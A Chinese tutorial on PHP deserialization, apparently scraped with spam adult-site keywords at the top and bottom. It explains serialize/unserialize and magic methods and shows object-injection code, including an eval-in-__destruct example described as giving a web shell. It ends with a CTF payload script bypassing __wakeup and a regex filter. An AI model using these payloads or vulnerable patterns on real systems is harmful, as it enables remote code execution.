色综合图-色综合图片-色综合图片二区150p-色综合图区-玖玖国产精品视频-玖玖香蕉视频

您的位置:首頁技術(shù)文章
文章詳情頁

詳解php反序列化

瀏覽:113日期:2022-09-09 18:31:59

1 前言

最近也是在復(fù)習(xí)之前學(xué)過的內(nèi)容,感覺對PHP反序列化的理解更加深了,所以在此總結(jié)一下

2 serialize()函數(shù)

“所有php里面的值都可以使用函數(shù)serialize()來返回一個包含字節(jié)流的字符串來表示。序列化一個對象將會保存對象的所有變量,但是不會保存對象的方法,只會保存類的名字。”

一開始看這個概念可能有些懵,但之后也是慢慢理解了

在程序執(zhí)行結(jié)束時,內(nèi)存數(shù)據(jù)便會立即銷毀,變量所儲存的數(shù)據(jù)便是內(nèi)存數(shù)據(jù),而文件、數(shù)據(jù)庫是“持久數(shù)據(jù)”,因此PHP序列化就是將內(nèi)存的變量數(shù)據(jù)“保存”到文件中的持久數(shù)據(jù)的過程。

$s = serialize($變量); //該函數(shù)將變量數(shù)據(jù)進(jìn)行序列化轉(zhuǎn)換為字符串 file_put_contents(‘./目標(biāo)文本文件’, $s); //將$s保存到指定文件

下面通過一個具體的例子來了解一下序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’is’.$this->age.’years old. <br />’; }}//創(chuàng)建一個對象$user = new User();// 設(shè)置數(shù)據(jù)$user->age = 20;$user->name = ’daye’;//輸出數(shù)據(jù)$user->PrintData();//輸出序列化之后的數(shù)據(jù)echo serialize($user);?>

這個是結(jié)果:

詳解php反序列化

可以看到序列化一個對象后將會保存對象的所有變量,并且發(fā)現(xiàn)序列化后的結(jié)果都有一個字符,這些字符都是以下字母的縮寫。

a - array b - booleand - double i - integero - common object r - references - string C - custom objectO - class N - nullR - pointer reference U - unicode string

了解了縮寫的類型字母,便可以得到PHP序列化格式

O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}對象類型:長度:'類名':類中變量的個數(shù):{類型:長度:'值';類型:長度:'值';......}

通過以上例子,便可以理解了概念中的通過serialize()函數(shù)返回一個包含字節(jié)流的字符串這一段話。

3 unserialize()函數(shù)

unserialize() 對單一的已序列化的變量進(jìn)行操作,將其轉(zhuǎn)換回 PHP 的值。在解序列化一個對象前,這個對象的類必須在解序列化之前定義。

簡單來理解起來就算將序列化過存儲到文件中的數(shù)據(jù),恢復(fù)到程序代碼的變量表示形式的過程,恢復(fù)到變量序列化之前的結(jié)果。

$s = file_get_contents(‘./目標(biāo)文本文件’); //取得文本文件的內(nèi)容(之前序列化過的字符串) $變量 = unserialize($s); //將該文本內(nèi)容,反序列化到指定的變量中

通過一個例子來了解反序列化:

<?phpclass User{ public $age = 0; public $name = ’’; public function PrintData() { echo ’User ’.$this->name.’ is ’.$this->age.’ years old. <br />’; }}//重建對象$user = unserialize(’O:4:'User':2:{s:3:'age';i:20;s:4:'name';s:4:'daye';}’);$user->PrintData();?>

這個是結(jié)果:

詳解php反序列化

注意:在解序列化一個對象前,這個對象的類必須在解序列化之前定義。否則會報錯

4 PHP反序列化漏洞

在學(xué)習(xí)漏洞前,先來了解一下PHP魔法函數(shù),對接下來的學(xué)習(xí)會很有幫助

PHP 將所有以 __(兩個下劃線)開頭的類方法保留為魔術(shù)方法

__construct 當(dāng)一個對象創(chuàng)建時被調(diào)用,__destruct 當(dāng)一個對象銷毀時被調(diào)用,__toString 當(dāng)一個對象被當(dāng)作一個字符串被調(diào)用。__wakeup() 使用unserialize時觸發(fā)__sleep() 使用serialize時觸發(fā)__destruct() 對象被銷毀時觸發(fā)__call() 在對象上下文中調(diào)用不可訪問的方法時觸發(fā)__callStatic() 在靜態(tài)上下文中調(diào)用不可訪問的方法時觸發(fā)__get() 用于從不可訪問的屬性讀取數(shù)據(jù)__set() 用于將數(shù)據(jù)寫入不可訪問的屬性__isset() 在不可訪問的屬性上調(diào)用isset()或empty()觸發(fā)__unset() 在不可訪問的屬性上使用unset()時觸發(fā)__toString() 把類當(dāng)作字符串使用時觸發(fā),返回值需要為字符串__invoke() 當(dāng)腳本嘗試將對象調(diào)用為函數(shù)時觸發(fā)

這里只列出了一部分的魔法函數(shù),具體可見

https://www.php.net/manual/zh/language.oop5.magic.php

下面通過一個例子來了解一下魔法函數(shù)被自動調(diào)用的過程

<?phpclass test{ public $varr1='abc'; public $varr2='123'; public function echoP(){ echo $this->varr1.'<br>'; } public function __construct(){ echo '__construct<br>'; } public function __destruct(){ echo '__destruct<br>'; } public function __toString(){ return '__toString<br>'; } public function __sleep(){ echo '__sleep<br>'; return array(’varr1’,’varr2’); } public function __wakeup(){ echo '__wakeup<br>'; }}$obj = new test(); //實(shí)例化對象,調(diào)用__construct()方法,輸出__construct$obj->echoP(); //調(diào)用echoP()方法,輸出'abc'echo $obj; //obj對象被當(dāng)做字符串輸出,調(diào)用__toString()方法,輸出__toString$s =serialize($obj); //obj對象被序列化,調(diào)用__sleep()方法,輸出__sleepecho unserialize($s); //$s首先會被反序列化,會調(diào)用__wake()方法,被反序列化出來的對象又被當(dāng)做字符串,就會調(diào)用_toString()方法。// 腳本結(jié)束又會調(diào)用__destruct()方法,輸出__destruct?>

這個是結(jié)果:

詳解php反序列化

通過這個例子就可以清晰的看到魔法函數(shù)在符合相應(yīng)的條件時便會被調(diào)用。

5 對象注入

當(dāng)用戶的請求在傳給反序列化函數(shù)unserialize()之前沒有被正確的過濾時就會產(chǎn)生漏洞。因為PHP允許對象序列化,攻擊者就可以提交特定的序列化的字符串給一個具有該漏洞的unserialize函數(shù),最終導(dǎo)致一個在該應(yīng)用范圍內(nèi)的任意PHP對象注入。

對象漏洞出現(xiàn)得滿足兩個前提:

一、unserialize的參數(shù)可控。

二、 代碼里有定義一個含有魔術(shù)方法的類,并且該方法里出現(xiàn)一些使用類成員變量作為參數(shù)的存在安全問題的函數(shù)。下面來舉個例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ echo $this->test; }}$a = $_GET[’test’];$a_unser = unserialize($a);?>

比如這個列子,直接是用戶生成的內(nèi)容傳遞給unserialize()函數(shù),那就可以構(gòu)造這樣的語句

?test=O:1:'A':1:{s:4:'test';s:5:'lemon';}

在腳本運(yùn)行結(jié)束后便會調(diào)用_destruct函數(shù),同時會覆蓋test變量輸出lemon。

詳解php反序列化

發(fā)現(xiàn)這個漏洞,便可以利用這個漏洞點(diǎn)控制輸入變量,拼接成一個序列化對象。

再看一個例子:

<?phpclass A{ var $test = 'demo'; function __destruct(){ @eval($this->test);//_destruct()函數(shù)中調(diào)用eval執(zhí)行序列化對象中的語句 }}$test = $_POST[’test’];$len = strlen($test)+1;$pp = 'O:1:'A':1:{s:4:'test';s:'.$len.':''.$test.';';}'; // 構(gòu)造序列化對象$test_unser = unserialize($pp); // 反序列化同時觸發(fā)_destruct函數(shù)?>

其實(shí)仔細(xì)觀察就會發(fā)現(xiàn),其實(shí)我們手動構(gòu)造序列化對象就是為了unserialize()函數(shù)能夠觸發(fā)__destruc()函數(shù),然后執(zhí)行在__destruc()函數(shù)里惡意的語句。

所以我們利用這個漏洞點(diǎn)便可以獲取web shell了

詳解php反序列化

6 繞過魔法函數(shù)的反序列化

wakeup()魔法函數(shù)繞過

PHP5<5.6.25PHP7<7.0.10

PHP反序列化漏洞CVE-2016-7124

#a#重點(diǎn):當(dāng)反序列化字符串中,表示屬性個數(shù)的值大于真實(shí)屬性個數(shù)時,會繞過 __wakeup 函數(shù)的執(zhí)行

百度杯——Hash

詳解php反序列化

其實(shí)仔細(xì)分析代碼,只要我們能繞過兩點(diǎn)即可得到f15g_1s_here.php的內(nèi)容

(1)繞過正則表達(dá)式對變量的檢查 (2)繞過_wakeup()魔法函數(shù),因為如果我們反序列化的不是Gu3ss_m3_h2h2.php,這個魔法函數(shù)在反序列化時會觸發(fā)并強(qiáng)制轉(zhuǎn)成Gu3ss_m3_h2h2.php

那么問題就來了,如果繞過正則表達(dá)式(1)/[oc]:d+:/i,例如:o:4:這樣就會被匹配到,而繞過也很簡單,只需加上一個+,這個正則表達(dá)式即匹配不到0:+4:

(2)繞過_wakeup()魔法函數(shù),上面提到了當(dāng)反序列化字符串中,表示屬性個數(shù)的值大于真實(shí)屬性個數(shù)時,會繞過 _wakeup 函數(shù)的執(zhí)行

編寫php序列化腳本

<?phpclass Demo { private $file = ’Gu3ss_m3_h2h2.php’; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != ’Gu3ss_m3_h2h2.php’) { //the secret is in the f15g_1s_here.php $this->file = ’Gu3ss_m3_h2h2.php’; } }}#先創(chuàng)建一個對象,自動調(diào)用__construct魔法函數(shù)$obj = new Demo(’f15g_1s_here.php’);#進(jìn)行序列化$a = serialize($obj);#使用str_replace() 函數(shù)進(jìn)行替換,來繞過正則表達(dá)式的檢查$a = str_replace(’O:4:’,’O:+4:’,$a);#使用str_replace() 函數(shù)進(jìn)行替換,來繞過__wakeup()魔法函數(shù)$a = str_replace(’:1:’,’:2:’,$a);#再進(jìn)行base64編碼echo base64_encode($a);?>

以上就是詳解php反序列化的詳細(xì)內(nèi)容,更多關(guān)于php反序列化的資料請關(guān)注好吧啦網(wǎng)其它相關(guān)文章!

標(biāo)簽: PHP
相關(guān)文章:
主站蜘蛛池模板: 欧美特黄一级高清免费的香蕉 | 国产精品亚洲欧美日韩一区在线 | 国产亚洲精品一区二区 | 亚洲美女福利视频在线 | 91成年人视频 | 好爽~好硬~好紧~蜜芽 | www.色片| 爽爽窝窝午夜精品一区二区 | 亚洲第一成年网站大全亚洲 | 国产精品单位女同事在线 | 久久精品亚洲乱码伦伦中文 | 国产亚洲精品午夜高清影院 | 日韩一级性生活片 | 日本一区二区三区欧美在线观看 | 天天看有黄有色大片 | 免费毛片播放 | 国产高清一区二区三区 | 国产精品欧美亚洲韩国日本 | 亚洲国产精品成人精品软件 | 欧美黑大粗硬毛片视频 | 欧美一级毛片特黄大 | 久草免费福利 | 国产日产久久 | 亚洲制服丝袜美腿亚洲一区 | 亚洲精品成人a在线观看 | 日韩精品免费一区二区 | 亚洲九九夜夜 | 99久久精品免费视频 | 99精彩视频| 日本在线理论片 | 久久久久在线视频 | 国产在线91精品天天更新 | 欧美一级手机免费观看片 | 欧美激情伦妇在线观看 | 国产一区免费在线观看 | 欧美一级毛片一级 | 久久在线视频 | 久久精品三级视频 | www.99精品 | 久久se精品一区精品二区 | 久久午夜视频 |